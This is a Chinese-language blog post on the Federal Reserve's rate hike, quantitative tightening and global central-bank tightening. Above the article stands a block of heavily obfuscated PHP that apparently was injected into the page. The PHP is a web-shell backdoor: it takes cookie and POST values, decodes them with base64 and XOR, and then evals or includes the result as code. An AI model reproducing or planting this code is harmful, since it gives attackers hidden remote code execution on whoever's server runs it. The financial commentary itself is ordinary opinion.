$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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美联储加息过后的盛宴，反弹还是反转？（下） - Sharix

美联储加息过后的盛宴，反弹还是反转？（下）

今天会延续上个星期的文章，和大家探讨美联储利率决策会议的重点内容，以及从鲍威尔的谈话当中寻找未来市场动向的线索。面对美国经济出现负成长的窘境，美联储还在大派定心丸认为美国经济还是有能力去应对这轮货币紧缩政策，那事实真的是如此吗？另外，我们也看到香港、印度、巴西、英国、澳大利亚等都开始加息，部分国家的紧缩速度也远超于市场的预期，抑制通胀已经成为全球央行的首要目标。

联邦公开市场委员会 (FOMC) 在上个星期如市场预期般加息50个基点，把联邦基准利率抬高至0.75% 至1.00% 的区间，这是美联储自2000年5月以来首次加息50个基点，也是自2006年以来首次连续在两次会议上进行加息。同时鲍威尔在回答会否在来临6月的利率会议上加息75个基点时明确表明委员会从未积极考虑过升息75个基点，主要是通胀预期已经趋于平缓。鲍威尔发表言论之后，利率期货市场预测6月加息75个基点的可能性降至76% 左右，但目前的机率也已经反弹至80% 以上，表明市场还是认为美联储的升息步伐还会加速。

缩表方面，美联储将会在6月开始采用被动缩表的方式以每月US$47.5 billion的步伐开始进行缩表，即每个月缩减US$30 billion的美债及US$17.5 billion的抵押贷款支持证券，并在三个月内逐步把缩表上限提高至每月US$95 billion，即每个月缩减US$60 billion的美债和US$35 billion的抵押贷款支持证券。美联储每月最大的缩表计划的最大步约为资产负债表规模的1.06%，节奏上对比2017至2019年的缩表周期快。

不论是加息还是缩表，美联储的政策似乎都比市场预期中更加鸽派。首先是否定在6月加息75个基点的预期，而缩表的进程也相对温和，导致美股在当天晚上出现大反弹，但上个星期五的美股回吐所有的涨幅。对于美联储未来的加息预期，市场预测美联储在未来两次会议会个别加息50个基点，也就是在7月会议之后联邦基准利率会来到1.75% 至2.00% 的区间。这距离美联储所预测2.40% 的中性利率水平仅有50个基点左右的幅度，也就是在下半年只会加息2码。然而，我认为美国通胀不可能在下半年回到美联储2% 的目标区间，届时联邦基准利率也非常有可能升破2.50% 甚至来到3%。这也是利率期货市场目前还是预测利率在年底有80% 的机会超过2.50% 的水平。

鲍威尔和耶伦比我们都清楚知道美国经济正在走下坡路，想要在经济放缓又要采取激进的政策抑制通胀，同时间要达成经济软着陆几乎是不可能的。美联储为了不想过度伤害经济，便采取连续加息50个基点来对抗通胀。但是，鲍威尔在发布会也表明美联储的工具是无法应对俄乌战争和中国清零政策所带来的供给面冲击，而只能通过美联储的政策利率降低市场的总需求去对抗通胀。

同时，美国的财政部长耶伦的口风从三月的 “经济会实现软着陆” 转变成现在的 “经济可能会实现软着陆” ，说明美国政府对经济软着陆是有所保留。另外，前纽约美联储主席威廉杜德利表示美国要再这个周期实现软着陆是不可能。美联储声称会 “高度关注” 通胀风险，重申未来会持续加息去达成2% 的通胀目标，这表明抑制通胀是美联储的首要任务，美联储很大可能会把基准利率调高至2.75% 甚至是3.00% 的水平。 另外，我不认为鲍威尔会效仿前美联储主席沃尔克把基准利率提高至20% 并直接把经济泡沫给搓破，但这轮的紧缩是非常急且快速。

观察全球央行近期的加息进程，英国央行在5月5日加息25个基点，把政策利率从0.75% 提高至1.00% 符合市场预期，这是英国央行自去年2月以来第4次加息，利率也升至2009年来最高。另外，巴西央行也决定再加息100个基点至12.75%，利率也来到2017年1月的最高。就连印度储备银行也意外宣布上调40个基点至4.40%，这是2018年8月以来首次加息，也出乎市场的预期，主要是这次的利率决策会议是在标定的时间外加开。

从上述的事件我们观察到，目前投资者必须面对的是过去几十年来最快的货币紧缩过程，全球资金正在以史无前例的速度从市场上消失。过去投资者无尽享受全球化和低利率所带来的财富效应，但这些利好早已烟消云散，等待前方的是去全球化及热钱的消退，准备收割投资者的财富。很多散户始终认为鲍威尔不会让股市崩盘，在股市下跌时就会放宽货币政策等遐想。但不要忘记这是美国收割全球韭菜的开始，我们也看到各大新兴市场货币，包括泰铢、新币、马币都贬至两年新低。为了抑制通胀及防止货币大幅贬值，全球央行必须用更快的速度加息以防止本国货币贬值过快。

在全球资金萎缩的过程，这会变相成为资金存量的博弈，留给股汇债房市的热钱也不多。不论资金流去什么资产，身为投资者要做的就是永远不要跟全球央行的货币政策作对。投资者在这段期间用部分资金做短期操作是可以接受的，但要动用手上的现金在股市大展拳脚显然不是对的时刻。目前全球市场正在进入下跌周期，这也是投资必须经历的过程。没有今天的下跌，就没有创造财富的机会。

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